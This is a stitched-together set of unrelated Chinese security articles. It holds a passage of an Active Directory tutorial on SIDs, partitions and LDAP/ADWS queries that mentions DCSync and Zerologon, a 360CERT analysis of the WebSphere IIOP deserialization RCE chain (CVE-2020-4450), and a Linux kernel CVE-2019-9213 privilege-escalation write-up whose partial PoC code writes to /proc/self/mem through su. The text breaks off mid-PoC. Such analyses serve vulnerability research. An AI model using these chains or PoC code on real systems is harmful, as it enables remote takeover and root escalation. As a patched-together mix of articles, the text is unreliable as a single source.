ms-DS-Issuer-Certificates
ms-PKI-RoamingTimeStamp
ms-PKI-DPAPIMasterKeys
ms-PKI-AccountCredentials
UnixUserPassword
有一些属性在被写入前需要满足某些条件。这是用 [Validated Writes](https://docs.microsoft.com/en-us/windows/win32/adschema/validated-writes) 来控制的，例如一个账户的编辑服务。
为了管理相关的属性集，对于给定权限的用户也有可能使用 [property sets](https://docs.microsoft.com/en-us/windows/win32/adschema/property-sets)，而不是单独管理这些属性。
### 主体（Principals）
你应该熟悉的一个术语，主体（Principals）。在活动目录中，主体是一个安全实体。
最常见的主体是用户、组和计算机。这个术语也被用于其他领域，如 Kerberos。
**SID**
为了识别 principals，每个 principals 都被分配一个 SID（Security Identifier）。在活动目录中，有三种 SID：
**Domain SID** 用于识别域，也是 domain principals 的 SID 的基础。
> Get current domain SID
PS C:\> $(Get-ADDomain).DomainSID.Value
S-1-5-21-1372086773-2238746523-2939299801
**Principal SID** 用于识别 principals，由 domain SID 和一个 principal RID (Relative
Identifier) 组成。
> SID of user
PS C:\> $(Get-ADUser Anakin).SID.Value
S-1-5-21-1372086773-2238746523-2939299801-1103
在这个例子中，你可以看到用户的 SID 是域 SID 加上 RID 1103。
在活动目录中，有许多 [**Well-known SIDs**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows)，用于识别特殊情况的抽象实体。下面是最常见的一些：
* S-1-5-11 => **Authenticated Users** ，在系统上登录的用户属于该组。
* S-1-5-10 => **Principal Self** ，在安全描述符中使用，用于引用对象本身。
> Self SID (S-1-5-10) in user security descriptor
PS C:\> . .\PowerView.ps1
PS C:\> $(Get-DomainObjectAcl Anakin)[41]
ObjectDN : CN=Anakin,CN=Users,DC=contoso,DC=local
ObjectSID : S-1-5-21-1372086773-2238746523-2939299801-1103
ActiveDirectoryRights : WriteProperty
ObjectAceFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
ObjectAceType : ea1b7b93-5e48-46d5-bc6c-4df4fda78a35
InheritedObjectAceType : bf967a86-0de6-11d0-a285-00aa003049e2
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 32
SecurityIdentifier : S-1-5-10
AceType : AccessAllowedObject
AceFlags : ContainerInherit, InheritOnly, Inherited
IsInherited : True
InheritanceFlags : ContainerInherit
PropagationFlags : InheritOnly
AuditFlags : None
还有一些 Well-know SIDs 定义了域 / 林的内置主体的模式。比如说：
* **Administrator** => S-1-5-21-domain-500
* **Domain Admins** => S-1-5-21-domain-512
* **Domain Users** => S-1-5-21-domain-513
* **Enterprise Admins** => S-1-5-21-root domain-519
> Administrator SID
PS C:\> $(Get-ADUser Administrator).SID.Value
S-1-5-21-1372086773-2238746523-2939299801-500
### 识别名（Distinguished Names）
了解 `DistinguishedName` 属性也很重要。`DistinguishedName`
就像一个路径，表示对象在数据库层次结构中的位置（类似于文件路径）。
> DistinguishedName of object
PS C:\> Get-ADComputer dc01 | select -ExpandProperty DistinguishedName
CN=DC01,OU=Domain Controllers,DC=contoso,DC=local
它经常被用来确定数据库中的对象和引用数据库中的其他对象。例如，一个组的成员是通过其 `DistinguishedName` 来引用的。
> List members of a group
PS C:\> Get-ADGroup "Domain Admins" -Properties member | select -ExpandProperty Member
CN=leia,CN=Users,DC=contoso,DC=local
CN=Administrator,CN=Users,DC=contoso,DC=local
[识别名](https://www.informit.com/articles/article.aspx?p=101405&seqNum=7)（DN）由几个部分组成：
* Domain Component (DC)它通常标识数据库的域部分。例如，对于 `it.domain.com`，DC 部分将是 `DC=it,DC=domain,DC=com`。
* [Organizational Unit](https://en.wikipedia.org/wiki/Active_Directory#Organizational_units) (OU)标识用于组合几个相关对象的容器。值得注意的是，虽然 OU 与组相似，其目的也是不同的。OU 的目的是组织数据库中的对象，而安全组则是用来组织域/林中的权限。有时组织以自动的方式将 OU 直接映射到安全组，这些组被称为[影子组](https://en.wikipedia.org/wiki/Active_Directory#Shadow_groups)。在 OU 中组织对象是很有用的，因为你可以对 OU 应用一个 GPO，从而影响其中的所有对象，这对于组的成员来说是不可能的。
* Common Name (CN)标识对象的名称。有时你会在一个路径上看到不止一个 CN，因为有些对象也充当容器。例如，在 `CN=Administrator,CN=Users,DC=contoso,DC=local`中，`CN=Users` 标识的是 `Users容器`。
### 分区（Partitions）
除了 OU 和容器之外，数据库也是有分区划分的。每个数据库都有以下分区：
* **Domain** ：存储与该域有关的对象。
* **Configuration** ：存储着整个域的配置，例如 `HOST` 服务别名、`Well-known SIDs`。
* **Schema** ：存储整个林中所有对象与属性的定义，也存储着如何建立新对象与属性的规则。
* **Domain DNS Zones** ：存储该域与其子域的 DNS 记录。
* **Forest DNS Zones** ：存储林其他部分的 DNS 记录，包括父域。
> List database partitions
PS C:\> Import-Module ActiveDirectory
PS C:\> cd AD:
PS AD:\> ls
Name ObjectClass DistinguishedName
---- ----------- ----------------- contoso domainDNS DC=contoso,DC=local
Configuration configuration CN=Configuration,DC=contoso,DC=local
Schema dMD CN=Schema,CN=Configuration,DC=contoso,DC=local
DomainDnsZones domainDNS DC=DomainDnsZones,DC=contoso,DC=local
ForestDnsZones domainDNS DC=ForestDnsZones,DC=contoso,DC=local
> 你需要加载 ActiveDirectory Powershell 模块，以便用 Powershell 访问 `AD:` 驱动器。
通常情况下，你只使用 domain 分区，但重要的是要知道数据库是如何组织的，以防你需要其他不在 domain 分区的数据。
一个工具默认在 domain 分区中进行搜索，所以如果你搜索的对象是在别的分区中，你可以指定分区的 `DistinguishedName` 作为搜索起点。
> Search sites in configuration partition
PS C:\> Get-ADObject -LDAPFilter "(objectclass=site)" -SearchBase "CN=Configuration,$((Get-ADDomain).DistinguishedName)" | select name
name
---- Default-First-Site-Name
mysite
例如，像 [adidnsdump](https://github.com/dirkjanm/adidnsdump) 或 [dns-dump](https://github.com/mmessano/PowerShell/blob/master/dns-dump.ps1) 这样的工具使用
DNS Zones 分区，以便检索域名的所有 DNS 信息。
### 全局编录（Global Catalog）
域数据库包含了当前域的所有对象，但为了加快搜索林中其他域的对象，一些域控制器也包含了其他域的对象的子集。这些域控制器被称为[全局编录服务器](https://docs.microsoft.com/pt-pt/previous-versions/windows/server/cc737410\(v=ws.10)#domaintroller-and-global-catalog-server-structure)，包含有其他域的对象的额外只读分区，对于这些对象只存储了部分属性子集，通常是最常用的属性，例如用户的电话号码、登录账户名称等。例如，如果你只需要查询其他域的用户名称，那么全局编录将允许你检索它，而不需要查询其他域的域控制器。
> List the Global Catalogs of the domain.
PS C:\> Get-ADForest |select -ExpandProperty GlobalCatalogs
dc01.poke.mon
itdc01.it.poke.mon
如果你想查阅 Global Catalog，你需要为连接指定一个不同的端口，因为 Global Catalog 服务的监听端口是 3268（LDAP）。
> Searching in the global catalog
PS C:\> Get-ADUser -Server "poke.mon:3268" -Filter * | select DistinguishedName
DistinguishedName
----------------- CN=Administrator,CN=Users,DC=poke,DC=mon
CN=Guest,CN=Users,DC=poke,DC=mon
CN=krbtgt,CN=Users,DC=poke,DC=mon
CN=CONTOSO$,CN=Users,DC=poke,DC=mon
CN=pikachu,CN=Users,DC=poke,DC=mon
CN=ITPOKEMON$,CN=Users,DC=poke,DC=mon
CN=Administrator,CN=Users,DC=it,DC=poke,DC=mon
CN=Guest,CN=Users,DC=it,DC=poke,DC=mon
CN=krbtgt,CN=Users,DC=it,DC=poke,DC=mon
CN=POKEMON$,CN=Users,DC=it,DC=poke,DC=mon
CN=porygon,CN=Users,DC=it,DC=poke,DC=mon
### 怎样查询数据库？
为了与数据库数据进行交互，域控制器提供了几个选项，这些选项在它们支持的不同协议/服务中进行转换。
**LDAP**
LDAP（Lightweight Directory Access Protocol，轻量级目录访问协议）协议，通过 LDAP 可以访问域数据库以及
Global Catalog。
> LDAP ports
.------------- |
.--- .--TCP-->| 389 LDAP
| '--- | |
| .--- |--SSL-->| 636 LDAPS
.------. | '--- | LDAP |--| |
'------' | .--- |--TCP-->| 3268 LDAP Global Catalog
| '--- | |
| .--- '--SSL-->| 3269 LDAPS Global Catalog
'--- |
'-------------
LDAP 定义了一种查询语法，允许你过滤你想检索 / 编辑数据库的对象。你可以根据对象的属性来过滤它。
例如，要检索有成员的域的组，你可以使用下面的查询`(&(objectsclass=group)(members=*))`。
除了过滤器，LDAP 还允许你指定你想为每个对象检索的属性，例如名称。 **如果你需要从活动目录中检索信息的例子，请务必查看[LDAP
wiki](https://ldapwiki.com/)。**
> Domain groups with members
~$ ldapsearch -H ldap://192.168.100.2 -x -LLL -W -D "[email protected]" -b "dc=contoso,dc=local" "(&(objectclass=group)(member=*))" "samaccountname"
Enter LDAP Password:
dn: CN=Administrators,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Administrators
dn: CN=Users,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Users
dn: CN=Guests,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Guests
dn: CN=Remote Desktop Users,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Remote Desktop Users
dn: CN=IIS_IUSRS,CN=Builtin,DC=contoso,DC=local
sAMAccountName: IIS_IUSRS
dn: CN=Schema Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Schema Admins
dn: CN=Enterprise Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Enterprise Admins
dn: CN=Domain Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Domain Admins
dn: CN=Group Policy Creator Owners,CN=Users,DC=contoso,DC=local
sAMAccountName: Group Policy Creator Owners
dn: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Pre-Windows 2000 Compatible Access
dn: CN=Windows Authorization Access Group,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Windows Authorization Access Group
dn: CN=Denied RODC Password Replication Group,CN=Users,DC=contoso,DC=local
sAMAccountName: Denied RODC Password Replication Group
# refldap://ForestDnsZones.contoso.local/DC=ForestDnsZones,DC=contoso,DC=local
# refldap://DomainDnsZones.contoso.local/DC=DomainDnsZones,DC=contoso,DC=local
# refldap://contoso.local/CN=Configuration,DC=contoso,DC=local
几乎所有活动目录数据库的对象和属性都可以通过使用 LDAP 进行检索。但那些高度敏感的属性除外，如用户的凭据。
LDAP 被许多 Windows 工具所使用，如 [Powerview](https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1)
或 [ADExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)。如果你没有工具，你总是可以使用 Powershell 通过使用 .NET
来[查询 LDAP](https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices?view=net-5.0%5C%5D%5C%5B.NET%20objects%20related%20to%20LDAP%5C%5D%5C%5D%20to%20make%20LDAP%20queries,%20youcan%20check%20DomainSearcher%20as%20example)。
另外在Linux上，你可以使用 [ldapsearch](https://linux.die.net/man/1/ldapsearch) 和
[ldapmodify](https://linux.die.net/man/1/ldapmodify)。
当你需要从活动目录中检索信息时，比如列举用户或类似的东西，LDAP 应该是你首先想到的东西。但请记住，LDAP
也允许你修改对象，所以如果你需要将一个用户添加到一个组或类似的东西，那么……这是一个办法。
**ADWS**
作为 LDAP 的替代方案，在 [Windows Server 2008 R2](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd391908\(v=ws.10)?redirectedfrom=MSDN)
中，微软引入了ADWS（Active Directory Web Services，活动目录网络服务），这是一个基于
[SOAP](https://en.wikipedia.org/wiki/SOAP) 消息查询和操作域对象的协议。
它与 [LDAP 过滤器兼容](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wsds/2ded136c-2fe2-4f7d-8d09-a7118815c6bb)，因此可以执行非常具体的查询，只检索所需的属性。事实上，当使用 ADWS
时，在内部 DC 会执行 LDAP 请求来检索结果。
> ADWS related ports and protocols
.--------------------------------------- | Domain Controller
,--- | 389 (Domain) <------------.
'--- | .------.
| |----| LDAP |
.--- | '------'
| 3268 (Global Catalog) <---' |
'--- ^
| |
.------. .------. .--- |
| ADWS |>--->| SOAP |>---->| 9389 >----------------->---------'
'------' '------' '--- |
'---------------------------------------
ADWS 是 [ActiveDirectory Powershell](https://docs.microsoft.com/en-us/powershell/module/addsadministration/?view=windowsserver2019-ps) 模块使用的协议。
> List users using ADWS
PS C:\Users\Administrator> Get-ADUser -Filter * | select name
name
---- Administrator
Guest
krbtgt
Anakin
Han
POKEMON$
leia
luke
**其他协议**
除了 LDAP 和 ADWS，还有许多其他协议允许从数据库中检索信息。尽管其余的协议，一般用于数据库的一个子集。
[DNS](https://en.wikipedia.org/wiki/Domain_Name_System) 协议主要用于解决计算机的 IP
地址，也从数据库中检索其信息。
[SAMR](https://docs.microsoft.com/en-us/openspecs/windows_protocols/MS-SAMR/4df07fab-1bbc-452f-8e92-7853a3c7e380)（Security Account Manager
Remote，远程安全账户管理）协议允许查询和编辑用户和组的基本信息。它是由诸如 `net user /domain` 这样的命令使用的。
[DRSR](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47)（Directory Replication Service
Remote，远程目录复制服务）协议是由域控制器用来同步数据库的。通过这个协议，甚至可以检索到用户凭证（如果你有足够的权限），也是用来执行
[dcsync攻击](https://adsecurity.org/?p=1729) 的。
[Kerberos](https://www.tarlogic.com/en/blog/how-kerberos-works/)
认证协议根据请求的服务也使用数据库来生成所需的票据。此外，Kerberos 使用 kpasswd 服务（端口464）来改变用户密码。
[Netlogon](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f) 协议是由计算机用来验证域用户。例如，被 NTLM
认证所使用。同时，这也是受 [Zerologon](https://www.secura.com/blog/zero-logon) 漏洞影响的协议。
还有许多其他与数据库交互的协议，但这些简短的清单应该让你了解到，有许多不同的方式来访问相同的数据。
50加成券 | 社区文章 |
# CVE-2020-4450：WebSphere远程代码执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hu3sky@360CERT
## 0x01 漏洞简述
2020年06月08日，360CERT监测到 `IBM官方`发布了 `WebSphere远程代码执行` 的风险通告，该漏洞编号为
`CVE-2020-4450`，漏洞等级：`严重`，漏洞评分：`9.8分`。
此漏洞由`IIOP`协议上的反序列化造成，未经身份认证的攻击者可以通过`IIOP`协议远程攻击`WebSphere Application
Server`，在目标服务端执行任意代码，获取系统权限，进而接管服务器。
对此，360CERT建议广大用户及时安装最新补丁，做好资产自查以及预防工作，以免遭受黑客攻击。
## 0x02 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级
---|---
威胁等级 | 严重
影响面 | 广泛
360CERT评分 | 9.8分
## 0x03 影响版本
* WebSphere Application Server: 9.0.0.0 to 9.0.5.4
* WebSphere Application Server: 8.5.0.0 to 8.5.5.17
* WebSphere Application Server: 8.0.0.0 to 8.0.0.15
* WebSphere Application Server: 7.0.0.0 to 7.0.0.45
## 0x04 漏洞详情
按照`zdi`给出的分析，`iiop`的拦截是在`com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request`，那么下断点进行远程调试，由于`websphere`自己实现了一套`iiop`，所以想要走到`iiop`触发反序列化的点还需要构造满足条件的`iiop`客户端，这里需要走到`demarshalContext`方法，前提是满足`validOtsContext`为`true`，也就是需要`serviceContext`不为`null`。
假如我们已经构造了`serviceContext`不为`null`，继续往下看，将`serviceContext.context_data`传入`demarshalContext`方法。
调用`createCDRInputStream`创建`CDRInputStream`，实际上生成的是`EncoderInputStream`，`CDRInputStream`的子类，之后调用`EncoderInputStream#read_any`方法。
之后的调用有些繁琐，就不列出来了，调用栈为：
#### serviceContext赋值
由于需要`serviceContext`不为`null`,才能走到`demarshalContext`方法体里面，在`com.ibm.rmi.iiop.Connection#setConnectionContexts`方法中，该方法如下：
`setConnectionContexts`方法可以对`ServiceContext`属性进行设置，但是我们需要从`iiop`生成的默认上下文中获取存储着的当前`Connection`信息。
参考`@iswin`师傅的文章，可以知道，在`com.ibm.rmi.iiop.GIOPImpl`里，存在一个`getConnection`方法，可以获取当前上下文的`Connection`实例对象，
不过该方法需要传递当前`ior`参数，而`GIOPImpl`的对象在`orb`里，
这些都能通过反射从`defaultContext`中获取。
#### 恶意数据流构造
看一下数据流是怎么被解包的，具体在`demarshalContext`方法里，也就是构造完`ServeicContext`下一步要执行的。
与之对应的，`marshalContext`方法里有相应的数据包生成代码，所以只需要将关键代码单独掏出来，再把`PropagationContext`对象构造一下，就能生成`gadgets`对象的数据流。
构造的关键代码为：
### gadgets
既然iiop已经通了，那么我们就根据`zdi`给出的`gadgets`进行构造，首先需要明确的是，反序列化的入口是`org.apache.wsif.providers.ejb.WSIFPort_EJB`（因为`websphere`自身类加载器的问题，导致现有的`gadgets`都无法利用，所以我们只能基于新的挖掘的类来构造`gadgets`）。
这里我们利用的是`handle.getEJBObject`方法，`handle`是一个`Handle`类型，在实现了`Handle`接口的类中，能够进行利用的是`com.ibm.ejs.container.EntityHandle`这个类，事实上，我们在对`handle`进行赋值的时候，比较复杂，需要反射多个对象。
我们来看一下他的`getEJBObject`方法。 这里有几处需要注意的：
#### lookup加载本地factory
先来看第一处，也就是`lookup`方法，这里的`homeJNDIName`是我们在反序列化流程中可以控制的。于是，在能够出网的情况下，可以指向我们的`rmi`服务。
这里首先会调用`registry.lookup`，获取我们在`rmi`上`bind`的对象，由于jdk版本过高的原因，所以导致`com.sun.jndi.ldap.object.trustURLCodebase`选项默认被设置为`false`，也就是说，我们不能利用jndi去远程服务器上利用`URLClassLoader`动态加载加载类，只能实例化本地的`Factory`，这里利用的方式是加载本地类，具体细节参考：[Exploiting
JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)。
简单来说，正常情况下，`jndi`的利用会在`RegistryImpl_Stub.lookup`之后返回一个`ReferenceWrapper`的客户端代理类，`ReferenceWrapper`提供了三个参数，`className`,`factory`,`factoryLocation`，如果本地加载不到`className`，那么就会去`factoryLocation`上加载`factory`，大致流程为：
而现在不能远程去加载`factoryLocation`，那么我们寻求一个本地`factory`来实例化，并利用该`factory`的`getObjectInstance`方法，根据`zdi`提供的漏洞细节，满足条件的`factory`是`org.apache.wsif.naming.WSIFServiceObjectFactory`。
前边的调用栈是这样的，
com.sun.jndi.rmi.registry.RegistryContext#lookup
com.sun.jndi.rmi.registry.RegistryContext#decodeObject
javax.naming.spi.NamingManager#getObjectInstance
`rmi`服务端可以在`reference`对象里对`factory`进行设置，当然这个`factory`需要满足一些条件，当调用`WSIFServiceObjectFactory.getObjectInstance`，我们看一下这个方法。这里`wsdlLoc`,`serviceNS`等值都可以在`rmi`端通过`Reference`进行设置。
这里会对`ref`进行判断，也就是`Reference`对象的第一个参数，也是可控的。我们需要走到下面的判断里，也就是让`ref`为`WSIFServiceStubRef`，原因是这样的，需要回过来看到前面，
我们需要指定返回代理的类型是`EJBHome`。这里有两个地方需要指定接口的类型，一个是`narrow`第二个参数`homeClass`，一个是在`Reference`指定`className`，用来控制返回的代理类型。
#### WSIF web服务
这里的`getObjectInstance`调用将从远程`URL`初始化`WSIF`服务，该URL指向可由攻击者控制的远程XML定义，在远程xml里，我们可以将方法进行映射，这里只说个概念，后面再仔细说。
#### 指定生成的stub的接口类型
当`ref`是`WSIFServiceStubRef`类型的时候，可以通过`className`来指定生成`stub`的接口类型，这样就能生成实现`EJHome`接口的代理，这里前面已经提到过了，具体在`rmi`服务端通过`Reference`进行设置。
#### 创建动态代理
这里会在`getStub`里创建代理类。
根据提供的接口，最终返回`WSIFClientProxy`代理类。
#### el表达式注入
接着，在`this.findFindByPrimaryKey`获取`homeClass`接口的`findByPrimaryKey`方法。
之后，就会调用动态代理类的`invke`方法，传入`findFindByPrimaryKey`和`this.key`，也就是方法的参数。
在`WSIFClientProxy.invoke`的方法里，会调用`WSIFPort`实现类的`createOperation`方法。
这个`createOperation`方法就能将方法进行映射，这里我们可以将`findFindByPrimaryKey`方法映射为本地存在的方法，比如`javax.el.ELProcessor`的`eval`方法，这里的映射就主要体现在之前提到的`WSIF
web`服务里，需要将映射内容体现在我们自定义的远程xml文件里。主要语法可以参考：[WSDL Java
Extension](https://ws.apache.org/wsif/providers/wsdl_extensions/java_extension.html)，具体的调用就在自定义rmi服务上进行设置，之后的调用栈如下：
最终在`ELProcessor#eval`方法里执行`el`表达式。
### 漏洞利用
利用成功的截图如下：
### 版本修复
在官网下载[补丁](https://www.ibm.com/support/pages/node/6220276)进行分析，发现对反序列化入口`WSIFPort_EJB`进行了修改，在`readObject`方法里，将原本的`handle.getEJBObject`方法给取消了，这样，也就把这个链的入口给杀死了。
## 0x05 时间线
**2020-06-04** IBM发布预警
**2020-06-08** 360CERT发布预警
**2020-07-21** ZDI发布分析报告
**2020-08-05** 360CERT发布分析报告
## 0x06 参考链接
1. [CVE-2020-4450: WebSphere远程代码执行漏洞通告](https://cert.360.cn/warning/detail?id=f11756f5eb2722da048a0aecb5592a1c)
2. [HubL中的EL注入导致远程代码执行](https://xz.aliyun.com/t/3605)
3. [ABUSING JAVA REMOTE PROTOCOLS IN IBM WEBSPHERE](https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere)
4. [Websphere CVE-2020-4450漏洞分析](https://mp.weixin.qq.com/s/spDHOaFh_0zxXAD4yPGejQ)
5. [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)
6. [WSDL Java Extension](https://ws.apache.org/wsif/providers/wsdl_extensions/java_extension.html) | 社区文章 |
# CVE-2019-9213、CVE-2019-8956的分析以及组合提权
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
寒假在xman学到了很多，在这里总结复现一下两个cve。
本文包括漏洞分析，环境搭建，以及exp提权。
## 漏洞分析
### CVE-2019-9213
它是一个linux内核用户空间0虚拟地址映射漏洞
首先看一下他的补丁情况：
可以根据补丁来定位到expand_downwards这个函数，我们看一下源码：
int expand_downwards(struct vm_area_struct *vma,
unsigned long address)
{
struct mm_struct *mm = vma->vm_mm;
struct vm_area_struct *prev;
int error;
address &= PAGE_MASK;
error = security_mmap_addr(address);
if (error)
return error;
..........
}
可以看到他调用了security_mmap_addr函数。我们继续查看security_mmap_addr函数：
static inline int security_mmap_addr(unsigned long addr)
{
return cap_mmap_addr(addr);
}
可以看到他是cap_mmap_addr函数的封装。
我们继续跟入：
int cap_mmap_addr(unsigned long addr)
{
int ret = 0;
if (addr < dac_mmap_min_addr) {
ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO,
SECURITY_CAP_AUDIT);
/* set PF_SUPERPRIV if it turns out we allow the low mmap */
if (ret == 0)
current->flags |= PF_SUPERPRIV;
}
return ret;
}
dac_mmap_min_addr是0x1000，在这里他会对你能否分配低地址做一个判断。
但是在这里存在一个问题，如果我们通过system函数调用LD_DEBUG=help su
1>&%d命令执行write操作，该函数检测的current_cred()就是执行write的进程的cred，而不是vma被改变的进程的cred。由于write操作是root，所以我们自然可以通过这个判断。
接下来我们就跟踪一下write函数的执行,看它如何调用expand_downwards：
static ssize_t mem_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
return mem_rw(file, (char __user*)buf, count, ppos, 1);
}
mem_write函数是mem_rw函数的封装。
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
...................
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE);
if (write && copy_from_user(page, buf, this_len)) {
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, flags);
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) {
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page);
return copied;
}
我们可以看到while循环中都利用了access_remote_vm来处理远程进程中的数据。
access_remote_vm函数是__access_remote_vm函数的封装。
int access_remote_vm(struct mm_struct *mm, unsigned long addr,
void *buf, int len, unsigned int gup_flags)
{
return __access_remote_vm(NULL, mm, addr, buf, len, gup_flags);
}
int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
unsigned long addr, void *buf, int len, unsigned int gup_flags)
{
struct vm_area_struct *vma;
void *old_buf = buf;
int write = gup_flags & FOLL_WRITE;
down_read(&mm->mmap_sem);
/* ignore errors, just check how much was successfully transferred */
while (len) {
int bytes, ret, offset;
void *maddr;
struct page *page = NULL;
ret = get_user_pages_remote(tsk, mm, addr, 1,
gup_flags, &page, &vma, NULL);
if (ret <= 0) {
.......................
} else {
bytes = len;
offset = addr & (PAGE_SIZE-1);
if (bytes > PAGE_SIZE-offset)
bytes = PAGE_SIZE-offset;
maddr = kmap(page);
if (write) {
copy_to_user_page(vma, page, addr,
maddr + offset, buf, bytes);
set_page_dirty_lock(page);
} else {
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
put_page(page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read(&mm->mmap_sem);
return buf - old_buf;
}
get_user_pages_remote函数和get_user_pages函数(二者区别：是否跨进程)都是__get_user_pages_locked函数的封装，作用在于查找并将给定的虚拟地址范围固定到page。之后通过kmap函数将page映射到永久内存映射区，如果是写操作则调用copy_to_user_page函数之后调用set_page_dirty_lock函数将page设置为脏，读操作则调用copy_from_user_page函数。之后调用kunmap函数取消映射。
get_user_pages_remote函数和get_user_pages函数：
long get_user_pages_remote(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *locked)
{
return __get_user_pages_locked(tsk, mm, start, nr_pages, pages, vmas,
locked,
gup_flags | FOLL_TOUCH | FOLL_REMOTE);
}
EXPORT_SYMBOL(get_user_pages_remote);
long get_user_pages(unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas)
{
return __get_user_pages_locked(current, current->mm, start, nr_pages,
pages, vmas, NULL,
gup_flags | FOLL_TOUCH);
}
EXPORT_SYMBOL(get_user_pages);
这里get_user_pages_remote调用__get_user_pages_locked函数时设置了FOLL_REMOTE标志区分。
在这两个函数中调用了__get_user_pages_locked：
static __always_inline long __get_user_pages_locked(struct task_struct *tsk,
struct mm_struct *mm,
unsigned long start,
unsigned long nr_pages,
struct page **pages,
struct vm_area_struct **vmas,
int *locked,
unsigned int flags)
{
................
pages_done = 0;
lock_dropped = false;
for (;;) {
ret = __get_user_pages(tsk, mm, start, nr_pages, flags, pages,
vmas, locked);
if (!locked)
/* VM_FAULT_RETRY couldn't trigger, bypass */
return ret;
/* VM_FAULT_RETRY cannot return errors */
if (!*locked) {
BUG_ON(ret < 0);
BUG_ON(ret >= nr_pages);
}
if (!pages)
/* If it's a prefault don't insist harder */
return ret;
if (ret > 0) {
nr_pages -= ret;
pages_done += ret;
if (!nr_pages)
break;
}
if (*locked) {
/*
* VM_FAULT_RETRY didn't trigger or it was a
* FOLL_NOWAIT.
*/
if (!pages_done)
pages_done = ret;
break;
}
/* VM_FAULT_RETRY triggered, so seek to the faulting offset */
pages += ret;
start += ret << PAGE_SHIFT;
/*
* Repeat on the address that fired VM_FAULT_RETRY
* without FAULT_FLAG_ALLOW_RETRY but with
* FAULT_FLAG_TRIED.
*/
*locked = 1;
lock_dropped = true;
down_read(&mm->mmap_sem);
ret = __get_user_pages(tsk, mm, start, 1, flags | FOLL_TRIED,
pages, NULL, NULL);
if (ret != 1) {
BUG_ON(ret > 1);
if (!pages_done)
pages_done = ret;
break;
}
nr_pages--;
pages_done++;
if (!nr_pages)
break;
pages++;
start += PAGE_SIZE;
}
if (lock_dropped && *locked) {
/*
* We must let the caller know we temporarily dropped the lock
* and so the critical section protected by it was lost.
*/
up_read(&mm->mmap_sem);
*locked = 0;
}
return pages_done;
}
**get_user_pages函数的作用是将start开始的nr_pages个页固定到pages。**
get_user_pages函数返回值大于0说明调用成功，减少nr_pages增加pages_done，nr_pages为0则退出循环。
之后再固定一个页。对应的代码如下：
lock_dropped = true;
down_read(&mm->mmap_sem);
ret = __get_user_pages(tsk, mm, start, 1, flags | FOLL_TRIED,
pages, NULL, NULL);
if (ret != 1) {
BUG_ON(ret > 1);
if (!pages_done)
pages_done = ret;
break;
}
nr_pages--;
pages_done++;
if (!nr_pages)
break;
pages++;
start += PAGE_SIZE;
}
如果没有退出,nr_pages-1，pages_done+1，start地址加一个PAGE_SIZE重新开始固定。
__get_user_pages函数查找vma是通过调用find_extend_vma函数实现的:
find_extend_vma(struct mm_struct *mm, unsigned long addr)
{
struct vm_area_struct *vma;
unsigned long start;
addr &= PAGE_MASK;
vma = find_vma(mm, addr);
if (!vma)
return NULL;
if (vma->vm_start <= addr)
return vma;
if (!(vma->vm_flags & VM_GROWSDOWN))
return NULL;
start = vma->vm_start;
if (expand_stack(vma, addr))
return NULL;
if (vma->vm_flags & VM_LOCKED)
populate_vma_page_range(vma, addr, start, NULL);
return vma;
}
总的来说就是最终在写入的地址小于vm->start时,如果设置了VM_GROWSDOWN选项的话,就会调用expand_downwards函数。
小结一下利用链：
poc：
int main()
{
unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (addr != 0x10000)
err(2,"mmap failed");
int fd = open("/proc/self/mem",O_RDWR);
if (fd == -1)
err(2,"open mem failed");
char cmd[0x100] = {0};
sprintf(cmd, "su >&%d < /dev/null", fd);
while (addr)
{
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1)
